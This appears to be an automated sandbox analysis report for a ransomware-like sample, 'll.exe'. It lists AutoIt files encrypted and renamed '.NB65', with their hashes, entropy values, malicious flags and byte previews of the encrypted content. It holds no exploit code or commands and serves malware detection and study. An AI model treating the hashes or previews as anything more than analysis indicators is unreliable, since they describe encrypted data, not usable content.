SHA-256:6CDD60CD6E3E972A0D06EC65FC305A67277B95B0B1C1938043A479589969B750
SHA-512:244C913C2DB00ACD17ADDCFAE7E7E1AD45263FA1D2247F41B9B3C5B30582D27BC05CFE2CF6AB050510BF85043DF69E1B417D991DE0E87AD0A31A00BF0E1AEA7B
Malicious:false
Preview:.U...rN...D.y.(Q.S......r.....?g_..k..2...Q........=..i..R....5.@ZQ.d.U...k.z...w.........XbZ.(|C!sN.....b..{.... EZ...t..d....A.w.n.1uh..;xU..:..[<;(I...T..$.......j.~..[z$da.)EW!9.3....sdmq..d.(o..&........#.....?!A...5L.f\}...m .......g..h...A..4xq.h..C0....pQ.]d.8..6..mq.#..$..{[.O29..h5.H....m#.{..2.nM#..H..)$.$...[.oo.^.B..7..]q...|....Shx..V.[3..L..>..4.{.7.].fa..]<|........$-...[..!....j.#p...$..Z..q..E#S`I<*..IV....'........*........9f.....\........)}. .|7N..,...`(.vI.h F.U...T..s..kv.....a."fi....jD.1L.a.}..~5....?.....r...E..l.>#.....jT...K.=j..#Kf....^2......m.L...Uf...x..W..qq.B.K.....-d...}...5.]..9...v...W.0...(..p.......$$.0Gt...0.../`}..qRa...Q..i....l?V.0..[r:.....Y..'H.@...*.34;.C...H<b.)8p=oU=......u..z....(.m..}).=.\.m..}.$..4.NX...P....w@....)o.p&.1.b..M..Y.bg.Uv.qH.R.9.....%.1.............Y.H^....gpn..<g;..n...q.7.G.L....C...|_..W....|.......)..~..........h...e.d..o=...../...H.q.l.}l=...~......|U...@.y...".

C:\Program Files (x86)\autoit3\Icons\au3.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32060
Entropy (8bit):7.99377784100822
Encrypted:true
SSDEEP:
MD5:FF82D3B4FEDB0ACF8D0CC52A0AA6E131
SHA1:B159A2D86B689A841077FB112AACF7859A60C3DE
SHA-256:AAFE357994121BA451EE46044A1F418EFFECFEAB2556533F5E7155AC043B77C4
SHA-512:36467C0FA5F50EC80A67B851B812ABA407BD294134525657EFB9ECD9730EC2A9BE88BEC941AB98612B19BD7C44F3457F950E2CD651D495130F63DDD967CE1BB3
Malicious:true
Preview:Z.}....G..D.........^G.......6..c.....gU6.....k..j...w..Y..i-...o......m+.(M|.LtA>..:d....$V.`.._..X......~.....w..-P...3....6.....^.E...MW.N.G.....b.3.E.8;.q.....G.V..=....T.1C.&..V....:....j}H..is........ .Z....cv..q/...{...s..3O...K..H^#.M!vS.X...CT..^8.g..Q..V.....F:.c.2lbjaR.Y./...Zz.X.v...-..~Q....KBk.$...C..m.pn.....2...y.G...~1/!..... .Z;..\..'l<..\..o{=p:.b?.gO.n..P%..%.ngc.s.t.O.\..h3Q.+...H.^s..MJ..L...l.r...u[.*l...oL.......x. E.H..K!).Z..P....b..M..VBhHM._...<...w.F..:V.E.a........4..4\.IU..?.(M./5.`.Ct.7...#f).)L....!g.\k..... ..u.<..........m!....qY5....Z.~..{... ...T]`4.....;D4...fku........l....H.........9.........[..H.U..q..}8[..z4..I.+..Cl./B.p...;VS...h..P....b...WQ......`..t...#..(.xN.K.$.^<..Z....:.^~).;("._.z..4.h.>.S.z..#i....m..-.v.IA9o....q..^.;.S......_.s..t...A..e....u.(.b.Q$>._.=......7.[.l0.^.fn....a.(..b,.K.c...M...<..=.=.|V..~I.....P.......LT..E..;e..,..g0........8.'...^W.,...H.*.~.S<...B?...c..r

C:\Program Files (x86)\autoit3\Icons\au3script_v10.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):72080
Entropy (8bit):7.997452964575318
Encrypted:true
SSDEEP:
MD5:CA473F3B8DD132C08D1B6A8C89CA25F8
SHA1:617BC588AB3D06346E6D1E6AA16B08C6B1C824BB
SHA-256:419326EFB1FB7AAB0657D6A2DD190A7A179EF904D951D7400F2F959E879FDB65
SHA-512:4D9A5664828F711018C394395CAC0AAB476BA396414418D9959B02D89ADFF02031A6696C8D2F2B3CF4C6DADA3479FFAD641B8346F0C7A4467309995E54DA936D
Malicious:true
Preview:..:.v..w.F...e..C..&...c.\.........d..W.b..........O;..6.......tb.....<*...01H.......Unc.F..u.....pL....*>.^.M.c.&LA6!...7o..-......<.j=L..H.......OVh..A,B.,}7.2JxL.......d..N..D...\._.i..[D}...m..J.G..e+m....4..>.a...\.G..4"x..5.....&......$....k....R.....].9.5... s[....s...cr...0...7?..s...X'.,.K..[..s.j...E2...l\z........GS.;.'e.....|....bH....^..R.q.8R."0.1...}[.$G.N.....f..{."..q.r...t......'./o.c...aY.v.]V..d...Eo...............vpp..v,..^^&.YN..G.v..Gd.NH{..1.rw>....>..]....H)........@.u...'.o..8......A.A....(3....0...cGT.+..ZbEj.T.zT.........).]O.9..:F~0>l.=..6"..,l..I..Q``[w.Rv.]c+....0.8 3P....E0b.'%......\...S..O..>....$C._.,.vPD.d.0...0_.bi..CC..(.mq.b..>..bWm.c.Jt...Y..GQ.y7`..../......+.^...Z1`...q.....j.\X.yBdc....C..e.,A.K.U.....S.j-.F.=......n..AO..T....z.9......=.v.<H......_....."..@...#`5....D.50r.^......j7W..GP..2.z.W.p4...3..1...K.Q..Np.....6...A...u....c..'...w7..(..[..0q.Qv...IX... .l..#.. J....-..{.z..,U

C:\Program Files (x86)\autoit3\Icons\au3script_v11.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):41821
Entropy (8bit):7.996306902289606
Encrypted:true
SSDEEP:
MD5:ADB545D27323747562CA7548C9557F7D
SHA1:AE0B0DA9E6FB1795CA3BFBD87B009BCC691B991E
SHA-256:1ECFD36222C5DDC368AC44C0AAB8270807E1BF84CB02E3C7888771BDA8967C83
SHA-512:C97A1B073E2A4191ABB4228B050FE20C90DAF9EDF8787F9E52D6FB1C76E240EAF8285C9381D67575FADD857295EC7EF22807BA69C26EA8A1A67CA533109AACA0
Malicious:true
Preview:...n.;..h.?p....;.Y.1...w''vb.a8h.....m.]v..*..../.[Y....e.i...7....E....}.].W..sw....p.BX.TD....TC8.D..T.v.../...}....l.0...]...."..............i=[..........K.Q.`.t.FbUI..*3k.:.^..r...I.....f..c..<.N.....W...[.K...c.%I6..x_....eHk.Q.e~Q..Gc.p.N....(o..okF..Uf..8./..u......1!,.....h3..j}.=H<E.{.L...../E...0..H..F..K.c.#.*.v+0.q....@.l.."..-.w.FW...NMW.,.~.3.=sH.K= ...,y..0..F..B...`'x..%.:...V`n.l(.."b.....Z~...Jo.......`&.t....y.Vy.D;.h.m...Y.v.$.....u...Xc..YB5..z.d./.3...<...D.}>...!..i._...TItG...qP.50.f.Q_.+.}(r..0.{d...i4.. 7.q*K......r.Dz..I..oW..Q.V..dDpF..:.$..GoE!.d..Um.......b.....m..u..m..p...A'Q._..y.x..F..P..1.Y..._j..@..V.[...c....h..:...8.k.....H.}aj....wd.3e.g.?.D....#q...j.b...e!..3U......"[:m...u.[...]l..k.....K.\.qa^.....s..vb...u.&....8..#.B...@.G...2..>....a,S.......#+.G...(./.[....R.a_.HV...C.....E.|.."X.w..]3........s....&...#...h(.|.].6<N....n...,S...D_..1.[..hs3.>...ihd.E...&..C.g..'...6..`Ct+..2.......{L

C:\Program Files (x86)\autoit3\Icons\au3script_v9.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):25748
Entropy (8bit):7.992864143269611
Encrypted:true
SSDEEP:
MD5:FFE985C4F327F1E515EEAEB83E82EB02
SHA1:3B8826CF9D5189ED6DEDF82A98C464FAB8F4F486
SHA-256:AF8ED0C4880A10A640FA8EC2D14C5EEB6464528F1AF610E7C23CF1A7475E61F1
SHA-512:494DF26B556DB9B0117FFD688550C92D53FBB288FB232B309C019341A27A4728F411B8E06E19B1008ACBF973B6076496170E43C411F042A460C8C4CA5BAE8804
Malicious:true
Preview:..t."q..36C.@x..R....,,.SK.-.R.'.\w...m.C.......j.a..\....ef.......h.^?....8}...e!.)3>>q.Q...'..E.j..v.}...B..q......<C.s...!'._v.#..Z]...#...8s......x..zO...JX4...%:<W).&m....tw~..2.\.%.#f.{.n.....c...uN-Q..&S...E.{t[.].x...v.?..?........x.1...w.YRm.. .. .p5X.>GR..%~...q...{._w..Wo.s.;uX>..i..S7..B..Fa....._ .Cbx..a.F..F.....G...RS..\7Ex.....<T,.j....IS\.D.......q..J.0....L..N..A.....~5r+.w.Nt..C ..9D.-....@.d....@.eQ........A`.q..K.}ge.u.....svCt.....C....$...-J.9a2&c...o.yv....h..}.ew.O.T..0s"..%3gY...W7..j......s.[.X...1AN..Yw.N!....R...".....`..c....._.h..B..12v...YZT">X....X...1 S.H.[C".XhB..&.....Y......uG ......k:...n.s..z./~..-.:..i.n.....+..l...x.._......J.G..\...s..v..._.!...!9.....[.u....i.....||...g...]..5.12.!.:LO...P........qm..H1.;XxKY.1....Sj....%.,.q.....w......R..O.Z......wv..N3...?..dU...a~.W..0.26.......{/.B..T/u.PZU.6c.......IdO%t5....bf..QQ..6............k..l.}.v..].Z.ns........b.; ...{...r.R[.tP..?.e.?...O..q

C:\Program Files (x86)\autoit3\Icons\filetype-blank.ico.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):34118
Entropy (8bit):7.994979523035291
Encrypted:true
SSDEEP:
MD5:71A2BABA6D073FC8A9C3D2CAAB38B8E6
SHA1:4545F5DDC3B9814E58A55E5E6B7C55494D64851A
SHA-256:1327766DF6C225BBDB43D6BBB4956FC80DC0A37EB8B5BB6A186E2C46375E0C9E
SHA-512:CB4F0850B29574567D43123FD7B2ED43946DA6634C06504F9E35E7ABE64D0C5B77F83B05F6CE18620AA60BC88C19B632DC832BC6FB318BCEDCBC0404703B2555
Malicious:true
Preview:.W!f....P.A....=|....H_1eg..-\P..y.....XE..8.BWKH......'E.,.>y]Vm.5Q[_...PX...l.E6.@*\....V...Z.F...O........0.......7y..<......H^.]....(.A.V%)...]X....I^..;[..[..../}.a........:.........6}v...%.DN...8..&.Y~.2..~.y..e}2......._.r...8.......n.i{.0.{A)e/..I.bDGX..C.1P..Km...sF<.A.j..A.K.b...s.I.dFM2^.H;.b.l..J...'qr .~....*..U.p..;...Qh...se(.f..r_..V.i..33...8.[r-......u.".......f9.[uc.fb&..D.....s....pl.<.>]7.<...m.}*~...e.(...y>m.(.`....]..I.B....7....{.L.SHT.1..J.@.w(.H....P.m...Fz.{H......v/..*..u..t...b.7H.R.i{.'..S._lZ..;O..VM......c.4X..x}p...H'...a.Yy........{.r=f._....=. 3.'~.........0..v..a.$.H.?m.iI....w.Z.}^gN...xW.e4p.>..+'....N.......s...0'.26,.Y.....VP/..r=.ap..rHd.(O...w....>....#.|..+0.c.q9......?.y..RB&F...w)..N]2V.... O?|....2.G." .w..qn......(60.}..[..].\..Y.q....qP~..V."dY.a..j...X*..o....vy.Y.R...-.?....].....Y.Q|.........a.. :.!.1.....^.@<.%.. ..h.q...K.M.Yd..4;X.X.1.k!.&..-.............@d,..`..W..EA.#..R>h#....

C:\Program Files (x86)\autoit3\Include\APIComConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1505
Entropy (8bit):7.833876085850674
Encrypted:false
SSDEEP:
MD5:B84ACD15F885FAABDF1E4122583F07EF
SHA1:3EAB61D8A1B1E91637D5A5B61C2DB7E10CFF870C
SHA-256:A80D55EF54CBDFE23F28E0DB1D5ED7398539A25AB5C304F3E0E729AED413376D
SHA-512:4C0CB9899F814DC74000230B9FE597BDD1DA480AF8CC040844B634DD9ED7A487D11F4D86CBC8487DB4349637458C4F31B80E96047E0CC2BBE543A5C64E1729E8
Malicious:false
Preview:.......c...QY.......ma..U.G&dkk3.%..3...4<...4D..tM..gde.Z.i.S.&.L|.G..i.O..;...s9u.....{..<..NT.x......X.<85....e..;.o>...s...SVSpV.$6%.emi....)......UwT&...f.a..,EDdRA.UaA..`._.5..Y.u.D;.li.'(.m..X.._.K.....sM.4|.m.S..>...il.8...l..B,y...?.{..IG.u....mE.......y.@..".'5.bf[..2..t.Mq...<.c..J*....nn..D...n...../T....H.g..........}........`....*...t.d.T.......L....E.?..t...0+..U.........@m;..,..4.hD3..?..l.S.._...:h.-.....<...v$.b.#....a..W.B....%=&..4.",+u...u)J@_.O.X.ywR.d..r|n.e.....Zh...N...k`..$\.?%.H../W....(......o.U.yo.W..."W...$..z../..j.:..I.t.8....'......4Q.+(.?..c..6.....D..<S1(...m..M.v.=.S.=.<..m..bu..>....E..y..V.. ..r..%`?.o..M....m@Gk..bm.P....f....1.{$....".;>.....|.N....h.A.f....6pc..;6..S#..=~..K.W.fc...s.......h....I..7R...A7G.{...ycI...:\....mE..{.I.<H.Nj.^YN...u./.....0...Snj...[5..s.:'....F.iK}.@.d.[....4xeL......q`@K..>..l...W......9.4L...:.....-.f5...#...|..Vd....&...?..b..[.'/..P6.p......R.1c.2...i......E.F...

C:\Program Files (x86)\autoit3\Include\APIConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2282
Entropy (8bit):7.906465273607214
Encrypted:false
SSDEEP:
MD5:C6CCF36D8E54F48B59C35AD5AE397A9B
SHA1:77E1D8DECB62F4E74657B5024DE47D821A224FC4
SHA-256:02555ECD95A04515F819CF420CB2A2CAA7C7B2762FE2A042C0E843935A7A0211
SHA-512:03F3CF1744A7F59F7D4F7A3AA70BEA18DD24AF4C894E955AF060928414E5D535DFC4DCF973B025EA15DA841C4F9F6E5E0CF36CE286FB20C885FC2E26B0CAB500
Malicious:false
Preview:.!.H:......[A%.P.HKj8O?[.Z..1..r......y{.[]:..$I....m..J.P..O$.....T.\<(..-.t.%.X.....u....M......,..fS...f...}1..Y3..c...qrQ...PL._....Q....<..+...b.2..iV...$..|..-yTS.<v........)...1j...&*m.,Z..`.........+..M.;..t......Tj1.`-.b....D..6.....k..(.cInT>Z].RN.6j3Vk......7.8ZP.&@....{....T...{9.!.....XZ.9g.h{....2...V.7...i...."U+.8...e.I.....V...O...3.."..j..].WvcjX....q.x.K....@.2:t<....AS....-..Z...7.Vi.2@.[2t.{*.....<....}.=.]...tw.c._p...6.lw.9..Q+..^./5.j..FA.5[.v.Q...#............p.v..%M..c.F.^..V...QX....r"!>...H{.....(.y+.*.eaD.....#........KBU9Pqa]....].........Q.V.!>.".Sb8^..s..)....2;.$.. .p.l...:.....xK.7.w......(S........q.0g......>....^....bu...C.Q}...p...O....../..feschv.>.7.......y........$..@.......Z*..!..:y..Y...d.7.....oV]..\." )...%.,i....h..l.O....)Ul...S....f...-.u3.Od.1..fH9.!..W.......ff.T.......v......seC..3`e.9|D.........L|>4.V.=.@../..?.....4.I#A...H..A.C_2....sL........(T..b}..X.._..... Z....wI...Y}..w..)

C:\Program Files (x86)\autoit3\Include\APIDiagConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3440
Entropy (8bit):7.942456783005775
Encrypted:false
SSDEEP:
MD5:32E8740FE7D6A3B25A197E3EDB65D6DB
SHA1:B51107159B5EA78619FF485817AC0D057D0B05E7
SHA-256:345FC3675473B6FC56E8E16C838D051C1DE565AFE5595C2A651278725B06A0D3
SHA-512:044E830EFED009CC984C251AAD2FEB162772233FDFB69E63DA0172CE48F8D329B1BBAF6453E754C4FE4B10B493BE87F26FDA302121D4E1FAB0E6F5512D4236FA
Malicious:false
Preview:......Q.K.)....A...6;....Ae......^..../g....}.J..I*..aR.......N.q.{.....-..{...P}|..O..<.1.......D.a..[7.N)..T....>..{.kU.^..QW..!.0.!....:.C..7.h.Hi...S...==N.........tM...8Fd2.K8..d....Vx.....-V|..I|F..'.Pd.q.n..`i(.h.Jq..m...G......^*. N..a'.~Q..J.)r.Ec........'.."M..1R.e.Geq......ovq....Y').Q...?.e.....k..Q5.\.4.].M...<.PS..H...?D6xs..{.H..9Bn1..\......\...B.../X......z$[...UQ...?X.._r....sGy.G]B...u..@...P.yuU..H..P...L.....9_...;l.;........w....cs.[.;..-`........u.TD....y.v7...3..U..D*...]'Gh.f.<.Xh.K.0Q.x:#...r....:yl.F.......r.r..V.R$c.<.]C..@.....+..c.E...L..V....:J.j,G..(o..K..>......n7..!rj..{_w....4....uS..j.O...s.,($9i.QCc...L.3Q..z.<.w...c...l.m.../$.......6.....v.4.#.G....PViC.th....!#Ng..SK:.w.....R.1.g..X....IJ3=........9.b....~cY......C..9P....$....q;<..".0.klAQ.W..y.S..s.37F.."..i.....w.0...T.....HGZ4..T.yD7...@z.R7..b..4.Y..c..wM.]..NA.o>....B.{h.=o...5W....*(1..l........(.)n..4[.V|...<...^...l}909?.8.'...

C:\Program Files (x86)\autoit3\Include\APIDlgConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11289
Entropy (8bit):7.983736334705496
Encrypted:false
SSDEEP:
MD5:B57C07D46B7023845C80AFFB175AA589
SHA1:B22E5027952606C16BB75347CE9ADF7C19BBF394
SHA-256:2181B6AE457DA3B7A95145B38D49A303182C1A15AF0AE90C076EB68F0728C0A0
SHA-512:ACE60C98C567CC5A518B7879FAD466D87E481AD070532DC0C1DB8E8C867706AB9EC1B64B7FD4D4BB31C9D48AB7C7B4D6C985DA6281E50CDED831AEF316522106
Malicious:false
Preview:...:......r......tZ.I...687._.C.....&.t...O.....T...!w...3.......k:H.7.N.L!.....s..C.4..;.#...;u...f...b....X.#.Z....)h.....al(.....1...Q..g.<..UW...$..,...$M6H...Y.~j...V....'*.u6..i.'.N..Kiz...i....d:i{.....g~9x...r..I'.<@.!.O5.U).c.Z.6\G!m.Q.z...K.".>..E.....yg.|M/...S....&X.:.wj.....b@%.FNT}_6.3._.[}.r.O...>.....U...s.{.....&_.....L.....:..#`D..W.C....DU.....8.2.).^...A.w......xX.&L.U..[..R....../..*....t......~.MD..x.$...FT..}:...2zkk"..k.`.Z..*M%$v..S...mZ...j8..:F....i....e..?.^".......P.1....%...4..>....I....7.B....yQGOV.....;..p.%.8.#f{v.6Z.J.......2..gV..h..l...I.k{7."~~(..h.M..zG....V....z.".......>.wpu....N.s,9%.Q..Z.4.cZ.3....C......^V..m.6'J..;..O.(v*S.R'...J.p.~Q.w. ........:...#y.~\&).2u..AP...F.1k.>^l.{.K..r..:.uw.....].S-&I...+c.t......A2..S..S|..........}.~..]5`i#...4.K.[...Bt.9.."rX..wZ..:$; "N.,.\N..|(......0|..J.>:...np.).....j...7#..,..p......n.....,.._.J.=....l..n....&...2m..1..fsM..2.fe..zV..6..Z.*..4. u.0.c.....d.i.

C:\Program Files (x86)\autoit3\Include\APIErrorsConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):309995
Entropy (8bit):7.9994458193826095
Encrypted:true
SSDEEP:
MD5:DEB561D29C7731A52D47C2DC7A2C873D
SHA1:5DB4F53F36B4F6076861DA5C6BEB0C028C81918C
SHA-256:3DD6346D3E6B8ECEBD90773040D6F440942166D1664C5A0088D6D0C80840678B
SHA-512:FD4886C10871EA82EC29DD75D64B9DCCC4049103D53E6F77C960D027865D11DE76B01EDD2944E894902195D05115A6A22B3213A2BEFDC67C0629DC6CC7F37D9E
Malicious:true
Preview:..].I....f]>.r.cp......*..*R...H..%...sk.......\L...F..s....mA......f...t.|._.\...nYBW......o.8..m..6.8....'..c...1E.$....t...TY....h`.X.~^..AI..............I...#.2Q..r".=..U...>q,)Pt..c...=(..+h.;Q9..7.`."..S.N.i.{..J2..C..br9.SO.'...x,-.Q..5..d..&..`..U.M`sB....(....p....M....h...}..3G.B.x.V\..o/......T.q.l..i,v...mB.m.gg.%..|.-....k.....)w.<E.....H.<....#.33..G.N.L9.Y...}......=r.!...r..h........5R...pnt..z.h..|.*H...../:w.........w.._...B.7..'....kul..@j.8.Pq.7....<:.iNa.}81^uKhr..h$.........i...'.q..f.W..U....}G+KX.v.........>.$.....wYb.H..m......P$.....i....>....M...-3...........@...Jz.F.pGT.. ..4'.1..w...a....de.Q..2....L..e.qb_6 r...\Z.i...q`W.f`2y.;.C..K..W..x...;...".....|.3.Q.~`1.k...+....$.7...oh.s..yj"h.}..f.^.....\.W.$....lhM..v.....:.....rW:db'[..`.P.g.k......!...vW...c7.}9zb..X\U....K....2.....Q..B....&..Z....Ee.:...9..hB.......v5..".gO].a.H30...;..,J.p........[..x(.h...0.....+_(..}4.K...~sPt...........By."9.^.....\.-eO.[.....*

C:\Program Files (x86)\autoit3\Include\APIFilesConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):27967
Entropy (8bit):7.993572911211394
Encrypted:true
SSDEEP:
MD5:86EAEA6F01B8354C0CCAB3F38B1116B7
SHA1:465A927DB561EAED64A109E51174770B97F2572F
SHA-256:31701174B9779E275E47305DF97FD3658CAF45D79BF9821EEAE536F70B232551
SHA-512:0F582C0D0DF07A63227D3E83D61031ADBC771361181C19CB42708D19056645AE877015176F86F6AE4FBEBF54D85DEE6528DD441E8A8C10F6F1C905C7A8E52A35
Malicious:true
Preview:^..TD,.Y."<....H0a...Zg.....D...f`..n,...........b=lZn...PM-...^...|.&.bf.mMHvf.........\....R..G.)..\G('!F.w..;.MP..~...N`..k........$N:......"...c...;1.p7.m..6.+.h....../.. .."......Ed.}..f.:.uL....,.....Z.r."=...%.N.SM.....UP.&.....S}.....dv.|...._...~iC...,X>..S..{..H.I@Ad...-`Q7....z.3.u...c.t9Ds...o=7$:....4Smgb.%...*..S.,..e..a........L..j.U.../..V..%.f:.]J..um^....-......]....z7f..3...uy.".....3.!>..q.o.@.U..K*.k#........4U......a.(....!...S_O...9..:...!.....H.w>...~M....`v..*.......J.f..l...{.nS..+.|{.hN..,z..".4R.L.>.9M..C..C..APE......*..;.f9..4.J.N7...U@.6_N...z.VA6+..=..2r..q...#k.A.=..r..<...E...=b.......J.r.v._.....&.,...xS/.{7.O:..U.J.....8......=.~m.!..*5U........,.X...f..X.y.B.r..'.Jl.S1.9...=.J..*.O.z.Q#h/.sZ..=.}...O...K..I....4.M.0...{....dY..M.C....GP...H..^.s.....Fg...T1=X.V.j..;.y.......|o.]oi..I-[..}.<B.Q..v5Y.X..6......^.gH....$.U~..v@...7...0.../i{...D..K.A...\.7fD.g...f.Rqq.L.#..s.. ...9I...+...).JU.gj".W7.W

C:\Program Files (x86)\autoit3\Include\APIGdiConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):19956
Entropy (8bit):7.990840746556524
Encrypted:true
SSDEEP:
MD5:8455E6BBD9B7C4679790EFE693F8F54F
SHA1:3C519B99916A0CDE8B5B9BF7E9B7D3D1B26A514E
SHA-256:8264DCEFC39DE2FE95DB70D014EAE347E0FCE05FC076098D371B0A3CDD8F3DF0
SHA-512:D28D5D9B417851D591A733377390961C78A5AF705A6F11F1E435D5DABC915E9EB8F28F595438BE5BF93574F55CE9F2A2651BAF554A68ACF3BD1C6202A70F8E12
Malicious:true
Preview:.b.-.S..N.......'=...B.GH.......3.-..H.jl.....m.w...&%<.....6.DJ.v.....{Z..3.........E.s...3.u.Z7.|..y.,......ZI.=6f".9.~..T.ugd(.i..;L.Xd..8.".Aq...jZ...2..V.Gr..o...}P.*..-...U.=...........1..DX(..+...e.F^;eAf..7.'...pi.l`.+.0..........&.Vf.*............nxw.\5.....JC.kM.'..Mu.a.gWu..L..\......C0;....3...._.A........D......:r...=..Zh.k..4(A.J....>{..-nT...Y..^.....aX*{(u..~....s...N..e......-.....W..,...1ZG......v#.m).B.5g...|.F.jR.O...zlT..]nX.Y..|..n...Z%....O._.CF#+F1S....{{..,..........ycS.uX.|..Z...7.h^.aX..@Y:..j.1.K..".-.7'6}.}=..h.A.#i....?I.c.u..z1`.svb.H..H:6 g.......&.ko..B.2..J.oD.....K.tJ.A.y.-..;8...wJG0.. ...N..Ww.#...#;....=p.'q...} ....q....cs'.<zR...o..k"....:.V.7!...(.,{..U).h..Z.bpV.)1F.2.\...i.M.%tJsw..nPP..Y..:3..Q.-m.......#......+.8..9.D.`sq3...p...R&,.....y.......Q..F.5g..../.. ..(..J.+.b...#_5g'Vd...g...5$...~....J.l5.. 9r...D3.xTc..u..!"..K~..,d.c...."./.\..G.:..1..tz@ gf..c..TL.*X.....z......}.*........"b.Tr

C:\Program Files (x86)\autoit3\Include\APILocaleConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8291
Entropy (8bit):7.976080893923665
Encrypted:false
SSDEEP:
MD5:C39CB55A83CC1F5088BDA47C96577DD1
SHA1:8686C044CCB753C7D8C751C1AEF456FB33B4CE05
SHA-256:29DBBB67478E8918D969030BCF0EA744894201F2F8D8FAE974A1C51A94CCF436
SHA-512:C1DD493EDA91A4EAE5394A0AF11AEE026E4A6FD7606C9975D37776A87EFE1A9C7D7F9955336249F4F5798F95BD176D4343827D66EC25F59BBBEE71C30E1579D7
Malicious:false
Preview:..*...>RY.. <.e..*.<NE.WS[|dD..{.U$....%..D..X..k*...|\e.R`,P..a=...E.....h7H .M.......B....VGH.a..%...f..[2.ta.[$.-......V...W.g0.].n..Pm.}.....T7..'...5MJ.P4TW~.P.q..vIQ....6.\.&/5...O.t..9.JO....q.){..j...../2.N.Pi.......r9{.. d..J..s..,.zY..P$x.n+.3.V...t.*.DN,aT....N....h...z..z.......=.f.....,.5H.8A.*.0...-.@x...&b...0.S..e.a..]...K..#....T.u0:.=.....h.7D.lF....1..x...g....c....(88.4}Gz.p._.Z..i..yh.1.&....]d..RJ.............zW0..\Ow..'b..0n.....`.._.g..x.G.M7N..Cs.....a2..1...Z..|.....J.>.'..(..=.5.=...........&z+...m..&../`/.....:... .o..:.u.).P.I./..D..A....-....mm.m.,.Lb.M.DN$...z...+.4.O.C.....`.)...u].;.\-/.R..9p.3..r:....s;..3h....n..9.h>..E.Y.#hr..y..p..<......7.P.g/..G.....x.$......".Q....>.q...aO.~....Gt..@.d.}....^....B...Q....)..p!.meo..lz.....K....>%..@..e....b....^.3G.g.a......L........./...s..C.E.t..[.=-r%J'..x.9.n.3...`.@.........}.I.....(".h.K..O.0@../{\.....0lV......+....!....3^.Z..?..U...k..h.@...E.Z..~....&.....X

C:\Program Files (x86)\autoit3\Include\APIMiscConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2413
Entropy (8bit):7.911528024623418
Encrypted:false
SSDEEP:
MD5:0298044DCA82E325F9D3474FB150D1BA
SHA1:9385CE36BA6E178F4D67616E790888AB0FC4BC21
SHA-256:0F6E5AC4E7A6B4AB0FE346F8F34025EB074F66FB900B166A531F3022BD02DA58
SHA-512:FECA867E2DA6FFB069CEA72B3B3011197EE769757013EC0E3D17C95028262B7D6BFC201DEB68F3A8C7A917A5EEF491C9DEC144A2804BD657383A478CC9DFBEFC
Malicious:false
Preview: b....YG...(@...Nf..........on.6...&.v....!...t......&......V.[ep...q.j.{.[...9...cn[.........m...s..T.....R[...&...d6..R.74.%c.?...f#.H.G8...xD..Ew... O.R.q.....0.._...._.3.......L...4w.......(.3.{.S...z.>}.P..:~..9......6....E...j.=N......"(..^.Z..:h.....:. .m..x.a....pb...k..x.}.].#B.|....GZ........A5..m..Nr'.L.c:.).+7....Wo..2>\(.+...\...M3.f...........*d..*...`.T..W1.9..<...4....G..B...A{h.?e.......U..pK..cB.v............Jky.../...rh8.2C..X.h.$......{b..I..t.w....ZI......;-5Y....r.0...c...$L......./=..$....4.......T08ZAi.q...$KL..r.....K.....E....r.....'.M@..)....Bnc..CU.#.<...........E...;..C._..)_7.-.B.....k.X.r.j...M.h..j.....NGT.......@Fup....l..K,.....2+nE......E{..|.c...u.J\QF..1.....UB.e]...:.d{..?s..%,.../...../.'...X.m.Ab!..|;)@-u.M..O....X.....t..%........%...y.K.\m,..."cj&....oj=....d..;....).......E6.K9..l...."NE...).D&......._.1J.F....&4.Q.....N.A.).{.......$9)........4......#.y.+R..#?&...........).a.p.7.,...

C:\Program Files (x86)\autoit3\Include\APIProcConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5645
Entropy (8bit):7.963568392461816
Encrypted:false
SSDEEP:
MD5:9562C71C5B678442735960FA21A63433
SHA1:491C383781D9E3CCA587CA4D1832E8687088DA52
SHA-256:1609E01E999CF4A99781007A3A0006728780A026CE555C3F0E85EADED4837EC0
SHA-512:45519F30C5020D10AAEC2688983684D75AE747927A122D133D8C44B690A70854D7A72F496CD39BAB256BFCC25548996517C2E1D513BA291833CEC0109BCCDDFD
Malicious:false
